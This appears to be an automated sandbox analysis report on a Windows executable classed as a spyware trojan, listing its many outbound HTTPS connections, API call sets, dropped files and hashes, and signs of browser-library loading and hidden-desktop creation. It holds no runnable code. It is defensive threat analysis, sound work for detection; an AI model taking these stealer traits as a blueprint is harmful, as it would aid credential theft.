Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49996 version: TLS 1.2

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_00689770 memset,memset,lstrcatA,lstrcatA,lstrcatA,memset,wsprintfA,OpenDesktopA,CreateDesktopA,memset,lstrcatA,lstrcatA,lstrcatA,memset,SHGetFolderPathA,lstrcpy,StrStrA,lstrcpyn,lstrlenA,wsprintfA,lstrcpy,memset,CreateProcessA,Sleep,CloseDesktop,

0_2_00689770

System Summary

PE file has a writeable .text section

Source: qlI3ReINCV.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C47ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C47ED10
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4BB700
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C4BB8C0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C4BB910
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C45F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C45F280

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006A4AC0	0_2_006A4AC0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4535A0	0_2_6C4535A0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C465440	0_2_6C465440
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4C545C	0_2_6C4C545C
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4CAC00	0_2_6C4CAC00
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C495C10	0_2_6C495C10
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4A2C10	0_2_6C4A2C10
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4C542B	0_2_6C4C542B
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4664C0	0_2_6C4664C0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C47D4D0	0_2_6C47D4D0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C45D4E0	0_2_6C45D4E0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C496CF0	0_2_6C496CF0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C466C80	0_2_6C466C80
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4B34A0	0_2_6C4B34A0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4BC4A0	0_2_6C4BC4A0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C46FD00	0_2_6C46FD00
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C47ED10	0_2_6C47ED10
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C480512	0_2_6C480512
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C490DD0	0_2_6C490DD0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4B85F0	0_2_6C4B85F0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4A2E4E	0_2_6C4A2E4E
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C474640	0_2_6C474640
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C479E50	0_2_6C479E50
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C493E50	0_2_6C493E50
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4C6E63	0_2_6C4C6E63
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C45C670	0_2_6C45C670
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4A5600	0_2_6C4A5600
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C497E10	0_2_6C497E10
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4B9E30	0_2_6C4B9E30
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4C76E3	0_2_6C4C76E3
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C45BEF0	0_2_6C45BEF0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C46FEF0	0_2_6C46FEF0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4BE680	0_2_6C4BE680
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C475E90	0_2_6C475E90
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4B4EA0	0_2_6C4B4EA0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C469F00	0_2_6C469F00
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C497710	0_2_6C497710
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C45DFE0	0_2_6C45DFE0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C486FF0	0_2_6C486FF0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4A77A0	0_2_6C4A77A0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C478850	0_2_6C478850
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C47D850	0_2_6C47D850
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C49F070	0_2_6C49F070
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C467810	0_2_6C467810
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C49B820	0_2_6C49B820
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4A4820	0_2_6C4A4820
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4C50C7	0_2_6C4C50C7
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C47C0E0	0_2_6C47C0E0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4958E0	0_2_6C4958E0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4860A0	0_2_6C4860A0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C47A940	0_2_6C47A940
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C46D960	0_2_6C46D960
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4AB970	0_2_6C4AB970
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4CB170	0_2_6C4CB170
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C495190	0_2_6C495190
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4B2990	0_2_6C4B2990
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C45C9A0	0_2_6C45C9A0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C48D9B0	0_2_6C48D9B0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C499A60	0_2_6C499A60
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C498AC0	0_2_6C498AC0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C471AF0	0_2_6C471AF0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C49E2F0	0_2_6C49E2F0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4CBA90	0_2_6C4CBA90
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4522A0	0_2_6C4522A0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C484AA0	0_2_6C484AA0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C46CAB0	0_2_6C46CAB0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4C2AB0	0_2_6C4C2AB0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C455340	0_2_6C455340
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C46C370	0_2_6C46C370
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C49D320	0_2_6C49D320
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4C53C8	0_2_6C4C53C8
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C45F380	0_2_6C45F380
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C50AC60	0_2_6C50AC60
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C5C6C00	0_2_6C5C6C00
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C5DAC30	0_2_6C5DAC30
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C55ECD0	0_2_6C55ECD0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C4FECC0	0_2_6C4FECC0
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Code function: 9_2_011D1581	9_2_011D1581

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: String function: 6C4994D0 appears 90 times
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: String function: 6C48CBE8 appears 134 times
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: String function: 00684A60 appears 317 times

Source: qlI3ReINCV.exe, 00000000.00000002.1995833207.000000006C6D5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs qlI3ReINCV.exe
Source: qlI3ReINCV.exe, 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs qlI3ReINCV.exe
Source: qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021907000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs qlI3ReINCV.exe
Source: qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021907000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs qlI3ReINCV.exe

Source: qlI3ReINCV.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: DBFHCGCGDA.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: LedgerUpdater[1].exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@27/41@6/9

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_6C4B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C4B7030

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_006A3C20 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_006A3C20

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_0069CCD0 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_0069CCD0

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

